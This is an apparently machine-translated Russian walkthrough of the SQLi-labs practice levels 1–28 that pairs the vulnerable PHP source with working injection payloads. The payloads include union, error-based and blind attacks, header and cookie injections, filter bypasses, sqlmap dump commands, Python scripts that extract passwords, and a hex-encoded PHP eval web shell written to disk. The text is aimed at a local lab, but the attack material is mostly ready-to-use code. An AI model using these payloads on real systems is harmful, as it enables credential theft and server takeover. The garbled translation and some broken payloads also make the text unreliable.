Настройка среды
Sqli-labsЭто руководство поможет вам обобщить большую частьSQL-инъекция Тип уязвимости тир,Изучите принципы уязвимости SQL-инъекции.,Необходимая среда стрельбища для воспроизведения уязвимости SQL-инъекции,Давайте играть! Адрес проекта SQLi-LABS: https://github.com/Audi-1/sqli-labs,Украшенный адрес проекта: https://github.com/himadriganguly/sqlilabs,Можно использоватьphpstudyилиwebСреда создается и запускается напрямую,Конкретные этапы строительства можно найти в другой статье.Руководство по настройке SQL-инъекций sqlilabs
http://localhost/sqlilabs/practice/example1.php?id=1'
http://localhost/sqlilabs/practice/example1.php?id=1' %23
http://localhost/sqlilabs/practice/example1.php?id=1' order by 3%23 # нормальный
http://localhost/sqlilabs/practice/example1.php?id=1' order by 4%23 # Ошибка отображения страницы
Количество полей описания — 3.
# Определить отображаемые информационные точки и выполнить совместный запрос через id=-1
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+
Отобразить все содержимое таблицы
```
sqlmap -u «Ввести адрес» -v 1 –-dbs # Получение списка баз данных
sqlmap -u «Ввести адрес» -v 1 –-current-db # Текущая база данных
sqlmap -u «Ввести адрес» -v 1 –-users # пользователь базы данных столбцов
sqlmap -u «Ввести адрес» -v 1 -D "база данных" –-tables # Получение списка баз Имя таблицы для данных
sqlmap.py -u «Ввести адрес» -v 1 -T "имя таблицы" -D "база данных" –-columns # Получить имена столбцов таблицы
sqlmap.py -u «Ввести адрес» -v 1 -T "имя таблицы" -D "база данных" -C "Поле" –-dump # Получить данные из таблицы
```
http://localhost/sqlilabs2/Less-2/index.php?id=1'--+
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+
Указывает, что входящие полезные данные выполняются и происходит внедрение.
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # нормальный
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # Ошибка отображения страницы
Количество полей описания — 3.
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
Добавьте одинарные кавычки, чтобы сообщить об ошибке и обнаружить, что она существует)
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # Сообщить об ошибке
http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=1 --+ # нормальный
Непосредственно загрузите полезную нагрузку и извлеките базу данных.
http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Добавьте двойные кавычки, чтобы сообщить об ошибке, и обнаружите, что "
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # Сообщить об ошибке
http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=1 --+ # нормальный
Непосредственно загрузите полезную нагрузку и извлеките базу данных.
http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
Эту команду можно использовать непосредственно для уровней полезной нагрузки 1–4.
sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
Но сообщение об ошибке будет распечатано.
Вы можете найти информацию о принципе инъекции. Если у вас есть информация о методе инъекции, вы можете нажать, чтобы просмотреть ее. Вот только десять часто встречающихся методов инъекции.
Аналогично уровню 5, просто закройте его двойными кавычками.
http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23
Перейдите непосредственно к полезной нагрузке (доступно как для вопросов 5, так и для 6).
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch
secure-file-priv - Если импорт файла не удался, убедитесь, что в файле конфигурации Mysql my.ini существует secure-file-priv. - Параметр secure-file-priv используется для ограничения ЗАГРУЗКИ. DATA, SELECT … OUTFILE, and В какой указанный каталог передается функция LOAD_FILE()?
Mysql использует следующую команду, чтобы проверить, включен ли переключатель записи файла
show global variables like '%secure%'
Измените my.ini и добавьте параметр secure-file-priv. Если не указать определенное значение, ограничений не будет (на самом деле это очень опасно).
Просто перезапустите MySQL
Напишите предложение Троян
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+
Напишите в phpinfo
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\pp2.php--+
Примечание по написанию
Вы можете проверить каталог файла и обнаружить, что файл был успешно записан.
В то же время веб-страница может напрямую получить доступ к файлу и выполнить его.
http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:\mm.php'),3--+
чтение файлов
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:\mm.php"
Написание файла
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\ sql2.php" --batch---title: Примечания к разрешению Sqlilabs (8-10), дата вслепую: 4 января 2020 г. 17:20:00теги: SQL-инъекциякатегории: SQL-инъекция
def checkurl(url):
res = requests.get(url)
if res.ok:
if 'You are in' in res.text:
return True
return False
def main():
flag = ''
for g in range(100):
for i in arlist:
payload = "substr((select group_concat(username,password) from users),%s,1) = \'%s\'--+" % (
g, i)
finalurl = Baseurl + payload
if checkurl(finalurl):
flag = flag + str(i)
print(flag)
sleep(0.2)
if __name__ == "__main__":
main()
```
Идите прямоpayload
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
Исходный код инъекции вслепую по времени выглядит следующим образом.
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
def checkurl(url):
try:
res = requests.get(url,timeout = 3)
return True
except Exception as e:
return False
def main():
flag = ''
for g in range(100):
for i in arlist:
payload = "if((substr((select group_concat(username,password) from users),%s,1) = \'%s\'),sleep(5),1)--+" % (
g, i)
finalurl = Baseurl + payload
if checkurl(finalurl):
flag = flag + str(i)
print(flag)
sleep(0.2)
if __name__ == "__main__":
main()
```
payload:
http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+
Непосредственная загрузка полезной нагрузки(9-10Универсальный)
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch
Отобразилось поле ввода, указывающее, что это внедрение метода отправки POST.
uname=admin' order by 2#&passwd=&submit=Submit Обычный uname=admin' order by 3#&passwd=&submit=Submit Аномальный
Полезная нагрузка напрямую извлекает все данные из базы данных.
uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit
uname=-admin") union select group_concat(username,password),2 from users#&passwd=&submit=Submit
uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit
uname=" and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit
uname=admin") and sleep(10)#&passwd=1&submit=Submit
Если вы хотите указать обнаружение внедрения параметров, вы можете изменить этот параметр на *
sqlmap -r "1.txt" -p uname -D security -T users -C username,password --dump --technique ES --batch --threads 10
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-15/" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs
uname=admin&passwd=admin&submit=Submit
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see комментарии) усекается до 15 цифр
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled Если волшебный переключатель включен, он будет автоматически экранирован.
if (get_magic_quotes_gpc())
{
// удалить обратную косую черту
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
// автоматическое экранирование
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
passwd=_POST['passwd'];
update="UPDATE users SET password = '
uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
1. Точно так же точкой внедрения этого уровня является параметр Referer. Полезная нагрузка та же, но позиция параметра другая.
1. Точно так же точкой внедрения этого уровня является параметр cookie. Полезная нагрузка та же, но позиция параметра другая.
Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
1. Аналогично, точкой внедрения этого уровня является параметр cookie, который такой же, как и полезная нагрузка предыдущего уровня, но метод кодирования другой.
uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d
1. Точно так же точкой внедрения этого уровня является параметр cookie, который аналогичен полезной нагрузке предыдущего уровня, но заключен в двойные кавычки.
uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d
sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E
уровень: установите все аспекты обнаружения и тестовых случаев - значение по умолчанию 1, будут проверены POST и GET - 2: к обнаружению также будут добавлены файлы cookie - 3: также будут обнаружены User-Agent и Referer, большие значения увеличит количество вариантов использования
Указанный пользовательский агент
Уточните содержание запроса
Укажите серверную базу данных. Учитывая тип серверной базы данных, вы можете сократить количество ненужных тестовых случаев.
свежие запросы будут игнорировать результаты предыдущих запросов и выполнять операции повторного запроса.
flash-session очистит текущий URL-адрес, связанный
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
Поскольку условий для внедрения ошибок нет, слепое внедрение занимает много времени. Вы можете попробовать зарегистрировать скрипт, а затем внедрить. Это действительно немного хлопотно.
Но цель этой темы такова: для сохраненного внедрения символы, вызывающие SQL-инъекцию, могут быть сохранены в базе данных заранее. Когда злонамеренно созданный символ вызывается снова, внедрение может быть запущено.
заголовок: Примечания к разрешению Sqlilabs (25-28) в обход внедрения дата: 2020-01-07 16:58:27 теги: SQL-инъекция
Эта серия предназначена для обхода инъекции. Вопрос подсказал символы, которые необходимо обойти, и может отображать входную полезную нагрузку.
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
Из кода видно, что или и и игнорируют размер и заменяют их пустыми.
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
>>> tamper('and or')
'anandd oorr'
"""
retVal = payload
if payload:
retVal = re.sub(r"(?i)(and)", r"anandd", re.sub(r"(?i)(or)", "oorr", payload))
return retVal
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-25/?id=1" --tamper "xx.py" --technique E --threads 10 --dbs --batch
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
//echo 'YOU ARE IN ........';
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
http://127.0.0.1/sqlilabs2/Less-25a/?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
payload:
http://127.0.0.1/sqlilabs2/Less-26/?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1
payload
http://127.0.0.1/sqlilabs2/Less-26a/??id=1111')union%A0select(1),(select(group_concat(id,'~',username,'~',passwoorrd))from(security.users)),3%7c%7c('1
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
uniunionon selecselectt
select -> SeLect union -> UNion
payload
http://127.0.0.1/sqlilabs2/Less-27/?id=1'%09and%09updatexml(1,concat(0x7e,(SeleCt(group_concat(username,password))from(users)),0x7e),1)and'1
payload
http://127.0.0.1/sqlilabs2/Less-27a/?id=1"%09and%091=2%09%09uniunionon%09SElselectect%091,(SElect(group_concat(username,password))from(users)),3%09or%09"1
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
union
union all select
Непосредственная загрузка полезной нагрузки
http://127.0.0.1/sqlilabs2/Less-28/?id=1')%0aand%0a1=2%0aunion%0aall%0aselect%0a1,database(),3%0aor ('1
Аналогично предыдущему уровню